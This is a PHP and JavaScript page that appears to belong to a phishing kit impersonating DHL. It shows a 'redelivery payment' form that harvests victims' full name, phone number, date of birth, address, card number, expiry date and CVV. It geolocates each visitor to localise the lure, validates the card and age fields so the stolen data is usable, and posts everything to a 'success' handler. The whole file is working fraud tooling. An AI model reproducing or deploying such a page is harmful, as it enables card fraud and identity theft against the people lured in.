<?php

require_once __DIR__ . '/includes/functions.php';
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$ip = getClientIp();
[$country, $language] = getCountryAndLanguage($ip);
$pageTitle = $translations[$language]['redelivery_payment'] . ' - DHL';


require_once __DIR__ . '/includes/header.php';
?>

<div class="max-w-2xl mx-auto bg-white shadow-lg rounded-lg p-6 mt-10 mb-10">
    <h2 class="text-xl font-semibold text-yellow-600 mb-6 text-center">
        <?php echo $translations[$language]['redelivery_payment']; ?>
    </h2>

    <form action="success" method="POST" class="grid grid-cols-1 gap-4" id="payment-form">
        <input type="hidden" name="csrf_token" value="<?php echo generateCsrfToken(); ?>">
        <input type="hidden" name="is_new_visitor" id="is_new_visitor" value="true">
        <div>
            <input type="text" name="full_name" placeholder="<?php echo $translations[$language]['full_name']; ?>" required class="border border-gray-300 rounded p-2 w-full">
            <p id="name-error" class="text-red-500 text-sm hidden"></p>
        </div>
        <div>
            <input type="tel" name="phone" placeholder="<?php echo $translations[$language]['phone_number']; ?>" required pattern="\d{7,15}" class="border border-gray-300 rounded p-2 w-full">
            <p id="phone-error" class="text-red-500 text-sm hidden"></p>
        </div>
        <div>
            <input type="text" name="dob" id="dob" placeholder="<?php echo $translations[$language]['dob']; ?>" required class="border border-gray-300 rounded p-2 w-full">
            <p id="dob-error" class="text-red-500 text-sm hidden"></p>
        </div>
        <div>
            <input type="text" name="address_line1" id="address_line1" placeholder="<?php echo $translations[$language]['address_line1']; ?>" required class="border border-gray-300 rounded p-2 w-full" autocomplete="off">
            <p id="address_line1-error" class="text-red-500 text-sm hidden"></p>
        </div>
        <div>
            <input type="text" name="address_line2" id="address_line2" placeholder="<?php echo $translations[$language]['address_line2']; ?>" class="border border-gray-300 rounded p-2 w-full">
            <p id="address_line2-error" class="text-red-500 text-sm hidden"></p>
        </div>
        <div>
            <input type="text" name="city" id="city" placeholder="<?php echo $translations[$language]['city']; ?>" required class="border border-gray-300 rounded p-2 w-full">
            <p id="city-error" class="text-red-500 text-sm hidden"></p>
        </div>
        <div>
            <input type="text" name="postcode" id="postcode" placeholder="<?php echo $translations[$language]['postcode']; ?>" required class="border border-gray-300 rounded p-2 w-full">
            <p id="postcode-error" class="text-red-500 text-sm hidden"></p>
        </div>

        <div class="relative">
            <input type="text" name="card_number" id="card_number" placeholder="<?php echo $translations[$language]['card_number']; ?>" required class="border border-gray-300 rounded p-2 w-full pr-12">
            <img id="card-icon" src="static/img/default.png" class="absolute right-3 top-2.5 h-6 w-10 object-contain" alt="Card Type">
            <p id="card-error" class="text-red-500 text-sm mt-1 hidden"></p>
        </div>
        <input type="hidden" name="card_type" id="card_type">

        <div class="flex gap-4">
            <div class="w-full">
                <input type="text" name="exp" id="exp" placeholder="<?php echo $translations[$language]['exp_date']; ?>" required class="border border-gray-300 rounded p-2 w-full">
                <p id="exp-error" class="text-red-500 text-sm hidden"></p>
            </div>
            <div class="w-full">
                <input type="text" name="cvv" id="cvv" placeholder="CVV" required maxlength="4" class="border border-gray-300 rounded p-2 w-full">
                <p id="cvv-error" class="text-red-500 text-sm hidden"></p>
            </div>
        </div>

       

      

        

        <button type="submit" class="bg-red-600 text-white py-2 rounded hover:bg-red-700 transition w-full text-lg font-semibold">
            <?php echo $translations[$language]['submit_payment']; ?>
        </button>
    </form>
</div>

<script>
    console.log('verify.php script loaded');

    function initAutocomplete() {
        console.log('Google Maps API loaded successfully');
        const input = document.getElementById('address_line1');
        if (!input) {
            console.error('Address Line 1 input not found');
            return;
        }
        const autocomplete = new google.maps.places.PlaceAutocompleteElement({
            types: ['address'],
            fields: ['address_components'],
            componentRestrictions: { country: '<?php echo htmlspecialchars($country === 'United Kingdom' ? 'gb' : ($country === 'France' ? 'fr' : 'es')); ?>' }
        });
        input.parentNode.replaceChild(autocomplete, input);

        autocomplete.addEventListener('gmp-placeselect', function() {
            const place = autocomplete.value;
            if (!place.address_components) {
                console.error('No address components returned from Google Maps');
                return;
            }

            let address1 = '';
            let address2 = '';
            let city = '';
            let postcode = '';

            for (const component of place.address_components) {
                const componentType = component.types[0];
                switch (componentType) {
                    case 'street_number':
                        address1 = `${component.long_name} ${address1}`;
                        break;
                    case 'route':
                        address1 += component.long_name;
                        break;
                    case 'subpremise':
                        address2 = component.long_name;
                        break;
                    case 'locality':
                        city = component.long_name;
                        break;
                    case 'postal_code':
                        postcode = component.long_name;
                        break;
                }
            }

            document.getElementById('address_line1').value = address1;
            document.getElementById('address_line2').value = address2;
            document.getElementById('city').value = city;
            document.getElementById('postcode').value = postcode;
        });
    }

    window.onerror = function(msg, url, line) {
        console.error('JavaScript error: ' + msg + ' at ' + url + ':' + line);
        return false;
    };

    function setVisitorStatus() {
        console.log('Setting visitor status');
        if (document.cookie.includes('visitor_id')) {
            document.getElementById('is_new_visitor').value = 'false';
            console.log('Existing visitor detected');
        } else {
            document.cookie = 'visitor_id=' + Math.random().toString(36).substr(2, 9) + '; path=/; max-age=31536000; Secure; HttpOnly';
            console.log('New visitor, cookie set');
        }
    }
    window.onload = setVisitorStatus;

    const cardInput = document.getElementById('card_number');
    const expInput = document.getElementById('exp');
    const cvvInput = document.getElementById('cvv');
    const dobInput = document.getElementById('dob');
    const cardIcon = document.getElementById('card-icon');

    if (!cardInput || !cardIcon) {
        console.error('Card input or icon element not found');
    } else {
        cardInput.addEventListener('input', () => {
    let value = cardInput.value.replace(/\D/g, '').substring(0, 19);
    value = value.replace(/(.{4})/g, '$1 ').trim();
    cardInput.value = value;

    const digits = value.replace(/\s/g, '');
    let type = 'default';

    // Detect card type using BIN patterns
    if (/^4/.test(digits)) type = 'visa';
    else if (/^5[1-5]/.test(digits)) type = 'mastercard';
    else if (/^3[47]/.test(digits)) type = 'amex';
    else if (/^6(?:011|5)/.test(digits)) type = 'discover';
    else if (/^3(?:0[0-5]|[68])/.test(digits)) type = 'diners';
    else if (/^35(2[89]|[3-8][0-9])/.test(digits)) type = 'jcb';

    document.getElementById('card_type').value = type;
    cardIcon.src = `static/img/${type}.png`;
});

    }

    if (expInput) {
        expInput.addEventListener('input', () => {
            console.log('Expiration input changed:', expInput.value);
            let value = expInput.value.replace(/\D/g, '').substring(0, 4);
            if (value.length > 2) value = value.replace(/(\d{2})(\d{1,2})/, '$1/$2');
            expInput.value = value;
        });
    }

    if (cvvInput) {
        cvvInput.addEventListener('input', () => {
            console.log('CVV input changed:', cvvInput.value);
            cvvInput.value = cvvInput.value.replace(/\D/g, '').substring(0, 4);
        });
    }

    if (dobInput) {
        dobInput.addEventListener('input', () => {
            console.log('DOB input changed:', dobInput.value);
            let value = dobInput.value.replace(/\D/g, '').substring(0, 8);
            if (value.length > 4) value = value.replace(/(\d{2})(\d{2})(\d{1,4})/, '$1/$2/$3');
            else if (value.length > 2) value = value.replace(/(\d{2})(\d{1,2})/, '$1/$2');
            dobInput.value = value;
        });
    }

    document.getElementById("payment-form").addEventListener("submit", function (e) {
        console.log('Form submission triggered');
        let valid = true;
        const digits = cardInput.value.replace(/\D/g, '');
        const expVal = expInput.value;
        const cvvVal = cvvInput.value;
        const dobVal = dobInput.value;
      
        const address1 = document.getElementById('address_line1').value;
        const city = document.getElementById('city').value;
        const postcode = document.getElementById('postcode').value;
        const country = '<?php echo htmlspecialchars($country ?? 'United Kingdom'); ?>';

        const [mm, yy] = expVal.split('/');
        const now = new Date();
        const expDate = mm && yy ? new Date(`20${yy}`, mm - 1) : null;

        const [dobDay, dobMonth, dobYear] = dobVal.split('/');
        const dobDate = dobDay && dobMonth && dobYear ? new Date(dobYear, dobMonth - 1, dobDay) : null;
        const eighteenYearsAgo = new Date(now.getFullYear() - 18, now.getMonth(), now.getDate());

        if (digits.length < 13 || digits.length > 19) {
            document.getElementById("card-error").textContent = "<?php echo $translations[$language]['invalid_card']; ?>";
            document.getElementById("card-error").classList.remove("hidden");
            valid = false;
        } else {
            document.getElementById("card-error").classList.add("hidden");
        }

        if (!mm || !yy || expDate < now) {
            document.getElementById("exp-error").textContent = "<?php echo $translations[$language]['invalid_exp']; ?>";
            document.getElementById("exp-error").classList.remove("hidden");
            valid = false;
        } else {
            document.getElementById("exp-error").classList.add("hidden");
        }

        if (cvvVal.length < 3) {
            document.getElementById("cvv-error").textContent = "<?php echo $translations[$language]['invalid_cvv']; ?>";
            document.getElementById("cvv-error").classList.remove("hidden");
            valid = false;
        } else {
            document.getElementById("cvv-error").classList.add("hidden");
        }

        if (!dobDay || !dobMonth || !dobYear || dobYear.length !== 4 || isNaN(dobDate) || dobDate > eighteenYearsAgo) {
            document.getElementById("dob-error").textContent = "<?php echo $translations[$language]['invalid_dob']; ?>";
            document.getElementById("dob-error").classList.remove("hidden");
            valid = false;
        } else {
            document.getElementById("dob-error").classList.add("hidden");
        }

        if (!address1) {
            document.getElementById("address_line1-error").textContent = "<?php echo $translations[$language]['address_line1_required']; ?>";
            document.getElementById("address_line1-error").classList.remove("hidden");
            valid = false;
        } else {
            document.getElementById("address_line1-error").classList.add("hidden");
        }

        if (!city) {
            document.getElementById("city-error").textContent = "<?php echo $translations[$language]['city_required']; ?>";
            document.getElementById("city-error").classList.remove("hidden");
            valid = false;
        } else {
            document.getElementById("city-error").classList.add("hidden");
        }

        if (!postcode) {
            document.getElementById("postcode-error").textContent = "<?php echo $translations[$language]['postcode_required']; ?>";
            document.getElementById("postcode-error").classList.remove("hidden");
            valid = false;
        } else if (country === 'France' && !/^\d{5}$/.test(postcode)) {
            document.getElementById("postcode-error").textContent = "<?php echo $translations[$language]['invalid_fr_postcode']; ?>";
            document.getElementById("postcode-error").classList.remove("hidden");
            valid = false;
        } else {
            document.getElementById("postcode-error").classList.add("hidden");
        }

      

        if (!valid) {
            console.log('Form validation failed');
            e.preventDefault();
        } else {
            console.log('Form validation passed');
        }
    });
</script>

<?php require_once __DIR__ . '/includes/footer.php'; ?>
